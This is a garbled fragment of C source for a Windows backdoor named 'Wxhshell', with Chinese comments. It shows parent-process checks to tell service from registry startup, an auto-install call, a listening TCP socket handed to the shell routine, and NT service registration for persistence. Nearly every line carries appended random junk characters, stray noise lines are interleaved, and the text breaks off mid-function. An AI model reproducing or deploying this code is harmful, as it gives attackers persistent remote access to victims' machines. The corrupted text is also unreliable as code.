ULONG UniqueProcessId; >(H:eRKq
ULONG InheritedFromUniqueProcessId; <$?#P#A
} PROCESS_BASIC_INFORMATION; c$[2tZ
.CEC
g*f
PROCNTQSIP NtQueryInformationProcess; qfT9g>EF
?&:N|cltD
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l,Q`;v5|
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; am/}V%^
4S4MQ
HANDLE hProcess; r+%3Y:dZE
PROCESS_BASIC_INFORMATION pbi; ?84f\<"
/>Zfx. Aj6
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g~21|Sa$[
if(NULL == hInst ) return 0; M)K!!Jqh
2d|^$$#`
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qh>An;:u
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hO> q|+mC
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]E"J^mflGK
C\"C12n{
if (!NtQueryInformationProcess) return 0; DmgDhNXKq
'uz o[>p
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -{*3<2rFK
if(!hProcess) return 0; AiR#:r
?XVE{N
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; tpzWi
W/
u=@zYA(
CloseHandle(hProcess); x!S}Y"
]{i0?c
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =4x6v<
if(hProcess==NULL) return 0; `@\FpV[|P
cyd_xB5K
HMODULE hMod; =1>G*
,
char procName[255]; u7J:ipyiq2
unsigned long cbNeeded; #('R`~
/C`AA/@
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -|#/KKF
ec^{ez@`
CloseHandle(hProcess); gYho$E
hUi5~;Q5Fi
if(strstr(procName,"services")) return 1; // 以服务启动 hb1h.F
'Eia=@
return 0; // 注册表启动 N>L)2WKFT
} 9gK1Gx:
3:sc%IDP
// 主模块 M4?>x[Pw
int StartWxhshell(LPSTR lpCmdLine) MftaT5
{ Y._ACQG3
SOCKET wsl; `mZ1!I-T
BOOL val=TRUE; k%-y\WM
int port=0; ^|U5@u_
struct sockaddr_in door; OPq6)(Q
'Q7t5v@FF
if(wscfg.ws_autoins) Install(); ,{"K^
CucW84H`J
port=atoi(lpCmdLine); .d#Hh&jj
M?gZKdj
if(port<=0) port=wscfg.ws_port; 3M^`6W[;
mT j
WSADATA data; {9@E[bWp#
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \ X6y".|-
TFbF^Kd#:d
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; &8%^o9sH
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ][OkydE
door.sin_family = AF_INET; y
</i1qM
door.sin_addr.s_addr = inet_addr("127.0.0.1"); x )q$.u+
door.sin_port = htons(port); oe9S$C;$'
)OlYz!#?
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;%>X+/.y0
closesocket(wsl); Vz5<Gr
return 1; ]/R>nT
} ,:81DA
8,CL>*A
if(listen(wsl,2) == INVALID_SOCKET) { z%6egi>
closesocket(wsl); ,=%c
e
return 1; iIo>]\Pw
} w6B`_Z'f
Wxhshell(wsl); @:9mTP7
WSACleanup(); \\"CgH-
giN(wPgYP
return 0; .R^]<b:`
yg4ILL
} l4^8$@;s
SYOU&*
// 以NT服务方式启动 4vH.B)S-
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) okW'}@jD
{ 61TL]S8
DWORD status = 0; {
lZ<'p
DWORD specificError = 0xfffffff; wi:d!,P`e
-1!s8G
serviceStatus.dwServiceType = SERVICE_WIN32; 69C
ss'
serviceStatus.dwCurrentState = SERVICE_START_PENDING; JDMsco+j5
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yj`xOncE}
serviceStatus.dwWin32ExitCode = 0; odq3@
ziO
serviceStatus.dwServiceSpecificExitCode = 0; ![_GA)7
serviceStatus.dwCheckPoint = 0; (pQ$<c
serviceStatus.dwWaitHint = 0; -IS?8\Q<
pvd9wKz
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); yz=6 V%
if (hServiceStatusHandle==0) return; =~QC)y_
v]KI=!Gs
status = GetLastError(); X<$8'/p r
if (status!=NO_ERROR) ~f%AbDye
{ e?b<-rL
serviceStatus.dwCurrentState = SERVICE_STOPPED; |=}v^o ZC
serviceStatus.dwCheckPoint = 0; kPZ1OSX
serviceStatus.dwWaitHint = 0; ku=XPmZ.\
serviceStatus.dwWin32ExitCode = status; gbRdng7(}
serviceStatus.dwServiceSpecificExitCode = specificError; F1o"H/:n
SetServiceStatus(hServiceStatusHandle, &serviceStatus); y0XI?Wr
return; q&wXs